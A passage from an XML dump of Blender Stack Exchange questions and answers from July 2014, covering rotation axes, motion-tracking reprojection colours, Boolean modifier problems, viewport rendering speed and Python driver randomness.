ContentLicense="CC BY-SA 3.0" />
  <row Id="13659" PostTypeId="1" CreationDate="2014-07-01T14:34:11.463" Score="1" ViewCount="517" Body="&lt;p&gt;Apparently, if I press &lt;kbd&gt;R&lt;/kbd&gt; rotation occurs in the plane of view. How do I rotate around some coordinate axis in camera view?&lt;/p&gt;&#xA;" OwnerUserId="1216" LastEditorUserId="3127" LastEditDate="2014-07-01T15:35:35.050" LastActivityDate="2014-07-01T21:04:32.053" Title="How to rotate around some coordinate axis in camera view?" Tags="&lt;transforms&gt;" AnswerCount="2" CommentCount="5" ClosedDate="2014-07-02T09:18:37.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="13663" PostTypeId="1" CreationDate="2014-07-01T15:35:02.647" Score="5" ViewCount="1291" Body="&lt;p&gt;According to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Motion_Tracking&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Bundles&lt;/strong&gt; makes sense after solving the movie clip, and it works in the following way: the solved position of each track gets projected&#xA;  back to the movie clip and &lt;strong&gt;displayed as a small point&lt;/strong&gt;. The &lt;strong&gt;color of&#xA;  the point depends&lt;/strong&gt; on the distance between the projected coordinate and&#xA;  the original coordinate: if they are close enough, the &lt;strong&gt;point is green&lt;/strong&gt;,&#xA;  otherwise &lt;strong&gt;it'll be red&lt;/strong&gt;. This helps to find tracks which weren't solved&#xA;  nicely and need to be tweaked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am solving the scene and see nothing similar to what's described:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLmNY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Points are displayed not as points, but as squares, blue means before in time, red means after in time. Yellow or white means selected point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is something green?&lt;/p&gt;&#xA;" OwnerUserId="1216" LastEditorDisplayName="user1853" LastEditDate="2014-07-01T17:59:43.873" LastActivityDate="2020-09-10T22:05:55.200" Title="How to see bundles and back projecting points of different colors?" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13665" PostTypeId="2" ParentId="13644" CreationDate="2014-07-01T15:46:42.377" Score="2" Body="&lt;p&gt;My first instinct is that you're going to have to &quot;make local&quot; on the object.  At that point you can add an NLA track and a strip referencing the relevant action.  Once it is an NLA strip you can control how much of the source action's timeline is used, and what its time extents in the scene will be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the freshly-local object already has actions and NLAs, you might have to remove them (or maybe just adjust their parameters if some of them are almost right).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-07-01T15:46:42.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13666" PostTypeId="2" ParentId="13659" CreationDate="2014-07-01T16:07:55.393" Score="1" Body="&lt;p&gt;In the 3D view header change the &lt;em&gt;Transform Orientation&lt;/em&gt; to &lt;em&gt;View&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GZSv8.png&quot; alt=&quot;Transform Orientation&quot;&gt;&lt;br&gt;&#xA;Then when you want to rotate something around one of the other axises of the current view just press &lt;kbd&gt;R&lt;/kbd&gt; then &lt;kbd&gt;Y&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt;. The &lt;em&gt;Z&lt;/em&gt; axis in view mode is how it will rotate with out any axis constraints.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-01T16:07:55.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13667" PostTypeId="1" CreationDate="2014-07-01T16:08:31.253" Score="1" ViewCount="1343" Body="&lt;p&gt;In object mode it says that I have 1 of 99 objects selected and over 10000 Vertices, 2000 Faces, and a similar high number for Tris. When I tab into edit mode it shows the actual numbers of the object, 28 Faces, 100 or so Vertices etc. It is the only object that I have, I see nothing else. I have no idea what the cause is, when I delete said object everything goes to 0 again. So it doesn't appear to be extra objects that I'm missing. What would cause this?&lt;/p&gt;&#xA;" OwnerUserId="5035" LastEditorUserId="2217" LastEditDate="2014-07-01T16:27:20.823" LastActivityDate="2014-07-04T13:57:28.977" Title="Different number of Vertices, Faces and Triangles between object mode and edit mode" Tags="&lt;3d-view&gt;&lt;objects&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13668" PostTypeId="1" AcceptedAnswerId="13843" CreationDate="2014-07-01T16:21:28.173" Score="4" ViewCount="698" Body="&lt;p&gt;What does the &lt;em&gt;View as render&lt;/em&gt; option in the 3D view background image settings do?  The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#Background_Image&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender wiki&lt;/a&gt; does not mention it, and I have not been able to find anything about it.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c0lQo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-07T23:29:18.247" Title="What does the &quot;View as render&quot; option in the background image settings do?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13670" PostTypeId="2" ParentId="13663" CreationDate="2014-07-01T17:50:58.173" Score="6" Body="&lt;p&gt;Those red and green colored points are available &lt;strong&gt;only after you have successfully solved&lt;/strong&gt; the scene.&lt;/p&gt;&#xA;&lt;p&gt;To make them visible, enable the overlay in clip display &amp;gt; Marker Display &amp;gt; 3D markers&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9bPTi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9bPTi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(for 2.79  enable &lt;strong&gt;3D Markers&lt;/strong&gt; on the Marker Display Tab.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qrEfc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The dots show the difference between the tracker and where blender is actually laying the points in 3D space. It is a visual reference to help you identify problems and further refine your track to get a better camera solve. The colors reflect to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Reprojection_error&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;reprojection error&amp;quot;&lt;/a&gt; If the rerpojected points are close to the original tracker they will show green,&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VxWh6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VxWh6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Otherwise they will be red. Notice how the dots are away from where the tracker is.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rc8OM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rc8OM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sometimes you can make the reprojected points fall closer to the original trackers by moving the optical center on the camera presets .&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XGvEq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;But if your reprojection errors are too high you might be dealing with errors on the focal lenght, the optical center or the radial distortion coefficients. So solve the scene again using those options in the refine section.&lt;/p&gt;&#xA;&lt;p&gt;For more info on the last step see:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15620/how-to-determine-lens-undistortion-values-for-motion-tracking&quot;&gt;How to determine lens undistortion values for motion tracking?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2020-09-10T22:05:55.200" LastActivityDate="2020-09-10T22:05:55.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13671" PostTypeId="1" CreationDate="2014-07-01T19:00:53.437" Score="1" ViewCount="82" Body="&lt;p&gt;I have made my render window broken by accident. Now it only shows vertical stripes. It seems the vertical dimension is infinite. Probably I have clicked somewhere or hit a key. Does anybody have an idea how I can switch back to normal view?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://imageshack.com/a/img820/1886/rkoo.png&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;screenshot&quot;&gt;screenshot http://imageshack.com/a/img820/1886/rkoo.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5038" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-01T19:00:53.437" Title="Render window broken" Tags="&lt;rendering&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-07-02T09:18:24.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="13672" PostTypeId="1" CreationDate="2014-07-01T19:01:09.957" Score="4" ViewCount="496" Body="&lt;p&gt;Clipping border (&lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;B&lt;/kbd&gt;) makes a dark box around the selected area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgflip.com/9x9vo.gif&quot; alt=&quot;gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the background color to the same color as the box doesn't work if you have &lt;em&gt;Only render&lt;/em&gt; enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make the box transparent instead? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?341580-ALT-B-Isolate-background-transparent&quot; rel=&quot;nofollow&quot;&gt;Related BA thread&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5039" LastEditorUserId="3127" LastEditDate="2014-07-01T19:50:59.313" LastActivityDate="2020-06-18T13:13:26.220" Title="How to change the color of clipping border display?" Tags="&lt;interface&gt;&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13673" PostTypeId="2" ParentId="13620" CreationDate="2014-07-01T19:08:58.267" Score="2" Body="&lt;p&gt;If you had &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;auto run python scripts&lt;/em&gt;&lt;/a&gt; enabled in your preferences for 2.69 and you haven't enabled it or copied your user prefs in the new version, then it might be because some python drivers are being blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, there should be a message in the info header (at the top of the window by default):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIWXL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either press &lt;em&gt;Reload trusted&lt;/em&gt; each time you open the .blend, or make sure auto run python scripts is enabled in &lt;em&gt;User preferences &gt; File &gt; Auto Execution&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VKx9d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-01T19:08:58.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13674" PostTypeId="2" ParentId="13659" CreationDate="2014-07-01T20:22:20.890" Score="0" Body="&lt;p&gt;After you press &lt;kbd&gt;R&lt;/kbd&gt;, press &lt;kbd&gt;Z&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;X&lt;/kbd&gt; to rotate around the &lt;code&gt;z&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, or &lt;code&gt;x&lt;/code&gt; axis.&#xA;Or you can &lt;kbd&gt;MMB &lt;img src=&quot;https://i.stack.imgur.com/OASpJ.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; and drag the mouse to the desired axis.&lt;/p&gt;&#xA;" OwnerUserId="5041" LastEditorUserId="2217" LastEditDate="2014-07-01T21:04:32.053" LastActivityDate="2014-07-01T21:04:32.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13675" PostTypeId="1" AcceptedAnswerId="13676" CreationDate="2014-07-01T20:31:46.933" Score="2" ViewCount="106" Body="&lt;p&gt;I'm working on an auditorium scene for my game. I set all the lights up and did a quick model of the mesh, and rendered it. It came out all right, but when I went into the game engine and started it, only two or three of the lights actually pointed to where I wanted it. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/30152&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file at pasteall.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Internal:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/93wCc.png&quot; alt=&quot;Blender Internal Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Game Engine:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/H25HO.png&quot; alt=&quot;Game Engine Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5040" LastActivityDate="2014-07-01T22:41:15.260" Title="Game engine lights not pointing to same place as in a render" Tags="&lt;game-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13676" PostTypeId="2" ParentId="13675" CreationDate="2014-07-01T20:53:11.073" Score="2" Body="&lt;p&gt;Try using GLSL shading instead of multitexture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HO5AS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multitexture shading shades the mesh per vertex. Since your object doesn't have many vertices where the lights should be illuminating, the results are misleading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you subdivide your mesh a lot, multitexture gives a more predictable result, but not as nice as GLSL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZwJyu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-01T22:41:15.260" LastActivityDate="2014-07-01T22:41:15.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13677" PostTypeId="1" CreationDate="2014-07-01T21:04:33.370" Score="4" ViewCount="2121" Body="&lt;p&gt;I'm trying to render a mesh with a displacement map imported from Zbrush in Blender Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sculpt and the map (as you can see in the image below) look fine, but the render in Cycles creates some weird 'artifacts' on some details... Actually, I've never managed to make displacement maps work correctly on Blender :( Tried to use the displacement modifier (which gives even weirder results) and the material nodes (rendered in the image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh itself is also imported from Zbrush (the lowest subdiv level).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1dlT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5042" LastEditorUserId="2217" LastEditDate="2014-07-01T21:31:43.027" LastActivityDate="2019-04-17T18:03:40.320" Title="Displacement Maps in cycles from Zbrush not rendering properly" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13678" PostTypeId="1" AcceptedAnswerId="70168" CreationDate="2014-07-01T22:17:30.230" Score="9" ViewCount="6396" Body="&lt;p&gt;There are two Exposure controls: In the Film section of the Render Tab and the Color Management section of the Scene Tab.  The effects of changing the Exposure in Color Management can be seen in both the Cycles preview and in the final render.  Changes to Exposure in the Render tab seem to only affect the final render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than this, are there any practical differences?  In what situation would one prefer to use the Render Exposure instead of the Color Management Exposure control?&lt;/p&gt;&#xA;" OwnerUserId="1974" LastEditorUserId="1974" LastEditDate="2014-07-03T02:26:07.063" LastActivityDate="2016-12-30T22:59:32.293" Title="Which Exposure control to use?" Tags="&lt;rendering&gt;&lt;interface&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13679" PostTypeId="2" ParentId="6205" CreationDate="2014-07-02T03:47:50.623" Score="2" Body="&lt;p&gt;I had a lot of difficulty with a similar problem. In particular I had 2 video sources which I recorded with quicktime that had different frame rates. The first one would be synced with the audio but the second one would inevitably not be synced up. I tried various combinations of custom frame rates and frame rate bases but nothing seemed to help. Worse was sometimes the video seemed to by synced with the audio but when I rendered it several hours later I would find it not to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I ended up doing was using a transcoder (&lt;a href=&quot;http://handbrake.fr/&quot; rel=&quot;nofollow&quot;&gt;http://handbrake.fr/&lt;/a&gt; cross platform mac/windows/ubuntu linux and free) to adjust the frame rates of both video sources to a standard 29.97. This was friendlier to blender and the problems all went away when I set the properties Frame Rate to 29.97 fps before importing to the Video Sequence Editor.&lt;/p&gt;&#xA;" OwnerUserId="5044" LastActivityDate="2014-07-02T03:47:50.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13680" PostTypeId="1" CreationDate="2014-07-02T06:29:33.763" Score="1" ViewCount="560" Body="&lt;p&gt;I have a half-cylinder that has been scaled in edit mode three times on the Y axis. It has a Solidify modifier with its thickness set to .7870 (arbitrary, but it shows my problem nicely). Even with &lt;em&gt;Even Thickness&lt;/em&gt; enabled, the Solidify modifier does not handle the top of the cylinder very well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0uXlq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to cut a hole in the solidified cylinder with a cube and a Boolean modifier, depending on where I place the cube, sometimes all the geometry of the cylinder disappears (I didn't hide the cube here; there's really nothing left of the cylinder.),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfPjW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sometimes it acts like I used &lt;em&gt;Union&lt;/em&gt; instead of &lt;em&gt;Difference&lt;/em&gt; (and it inverts part of the normals...),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YcRV3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and sometimes it even cuts a hole kind of like I wanted, although it still does a very poor job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ag9N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspecting the inside of the cylinder, I can see that the geometry of the cylinder is intersecting itself, and that is what I don't know how to fix. &lt;a href=&quot;http://www.pasteall.org/blend/30147&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's my .blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: here's a screenshot of the actual model (side view):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IwfjD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="1253" LastEditDate="2014-07-02T07:09:09.703" LastActivityDate="2014-11-29T08:58:37.373" Title="Boolean difference makes all geometry disappear on a scaled, solidified half-cylinder" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13681" PostTypeId="2" ParentId="13680" CreationDate="2014-07-02T06:38:25.500" Score="1" Body="&lt;p&gt;That intersection is indeed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't much way to fix this without doing it manually, but the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Solidify&quot; rel=&quot;nofollow noreferrer&quot;&gt;clamp&lt;/a&gt;&lt;/em&gt; option can help at least clear things up a bit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2lMvd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-02T06:44:49.237" LastActivityDate="2014-07-02T06:44:49.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13683" PostTypeId="1" AcceptedAnswerId="13684" CreationDate="2014-07-02T07:23:29.980" Score="1" ViewCount="2746" Body="&lt;p&gt;I'm trying to preview how a specular material looks on an object when it moves, so I tried rendered viewport shading mode, but this mode is extremely slow even with a very simple object.  So slow that if I play a simple rotation animation nothing draws to the screen.  I'm running an i7 with a GeForce 730m, I feel like I should be getting better performance than this.  Am I missing something here or is it really not possible to preview an animation with materials without rendering a video?&lt;/p&gt;&#xA;" OwnerUserId="5047" LastActivityDate="2017-03-02T22:57:57.180" Title="Faster rendered viewport shading" Tags="&lt;animation&gt;&lt;materials&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13684" PostTypeId="2" ParentId="13683" CreationDate="2014-07-02T07:47:38.797" Score="4" Body="&lt;p&gt;Rendered shading is the same as a final render (&lt;a href=&quot;https://blender.stackexchange.com/q/2728/599&quot;&gt;mostly&lt;/a&gt;), so unless you have a very simple scene and a small render farm, you probably aren't going to get even near real-time (as in &gt; 1-2fps) renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some things you can do to help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Render a small low resolution part of the viewport (e.g. with render border) See &lt;a href=&quot;https://blender.stackexchange.com/q/2014/599&quot;&gt;Render Border&amp;#39;s related check boxes - How do they work?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reduce the number of samples (&lt;em&gt;Render settings &gt; Sampling&lt;/em&gt;) and bounces (&lt;em&gt;Render settings &gt; Light paths&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you still want to use the viewport (though I would recommend rendering a quick image sequence), turn down the framerate so each frame has some time to converge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-07-02T07:47:38.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13685" PostTypeId="2" ParentId="924" CreationDate="2014-07-02T07:54:57.947" Score="8" Body="&lt;p&gt;You can do it in Blender 2.71 or newer (which added support for volumetric data in Cycles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a group in nodes that looks like on the screenshot below.&#xA;It's very important that you make the two &quot;Attribute&quot; nodes exactly like shown on the screenshot - &quot;flame&quot; lowercase and &quot;density&quot; lowercase - because it refers to data in the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1U1z.png&quot; alt=&quot;node group screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material itself:&#xA;&lt;img src=&quot;https://i.imgur.com/kexRwIk.png&quot; alt=&quot;material screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now use this material on smoke domain. That's all :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took this setup from this video: &lt;a href=&quot;https://www.youtube.com/watch?v=oSiV5gg_lCs&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=oSiV5gg_lCs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1028" LastActivityDate="2014-07-02T07:54:57.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13686" PostTypeId="2" ParentId="12095" CreationDate="2014-07-02T08:56:09.303" Score="1" Body="&lt;p&gt;Even if Blender did something non-efficient, like making new shader for each object, there still would be an obvious benefit which @maddin45 mentioned. The less textures you have (the more you combine them in big atlases), the better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the models themselves, think of modularity - make LEGO-like pieces and duplicate them.&#xA;&lt;a href=&quot;http://blog.timothyeustace.com/2012/04/gears-of-war-wireframes.html&quot; rel=&quot;nofollow&quot;&gt;http://blog.timothyeustace.com/2012/04/gears-of-war-wireframes.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1028" LastActivityDate="2014-07-02T08:56:09.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13687" PostTypeId="2" ParentId="7758" CreationDate="2014-07-02T09:32:08.130" Score="1" Body="&lt;p&gt;&lt;strong&gt;The normal Python way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @Mike Pan says, in the regular Python you would use a stable value (like location) and use it as a seed. This allows to get a random-like but predictable result.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_random_value():&#xA;    import random&#xA;    seed = obj.location.x + obj.location.y + obj.location.z&#xA;    result = random.Random( seed ).random()&#xA;    return result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the seed remains the same, you will get the same result.&#xA;By default in Python, the current time is used as the seed. That's why the results are different each frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you need to do it in a driver&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have less control, but it's possible too :)&#xA;Use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/mathutils.noise.html#mathutils.noise.noise&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_71_release/mathutils.noise.html#mathutils.noise.noise&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;noise.noise( (x,y,z) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gives you a result between 0.0 and 1.0, using Perlin noise by default. Imagine it as a value from a Clouds-type texture at a given pixel position. You have to provide the position as a tuple (x,y,z).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can multiply the result by whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/1cQfnLO.png&quot; alt=&quot;Driver setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1028" LastEditorUserId="1028" LastEditDate="2014-07-02T09:48:51.357" LastActivityDate="2014-07-02T09:48:51.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13690" PostTypeId="1" AcceptedAnswerId="13697" CreationDate="2014-07-02T11:41:52.520" Score="2" ViewCount="777" Body="&lt;p&gt;Is it possible to obtain the information node (with value 0 or 1) about the side of the mirror modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a mirrored object and I'd like to have the possibility to use one set of textures on the LEFT side and another set on the RIGHT side of the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I'm using Mix Shader and have two different Diffuse Shaders plugged into it, the first with right side textures and the second with left side textures. I'd like now to have something that will give me the information (0 or 1) that I could plug into the factor socket of the Mix Shader. 1 would mean LEFT side and 0 RIGHT side (or the contrary, it doesn't really matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to obtain that information somehow?&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2017-03-21T21:33:56.947" Title="Information about the side of the mirror (left or right) while using mirror modifier?" Tags="&lt;cycles-render-engine&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
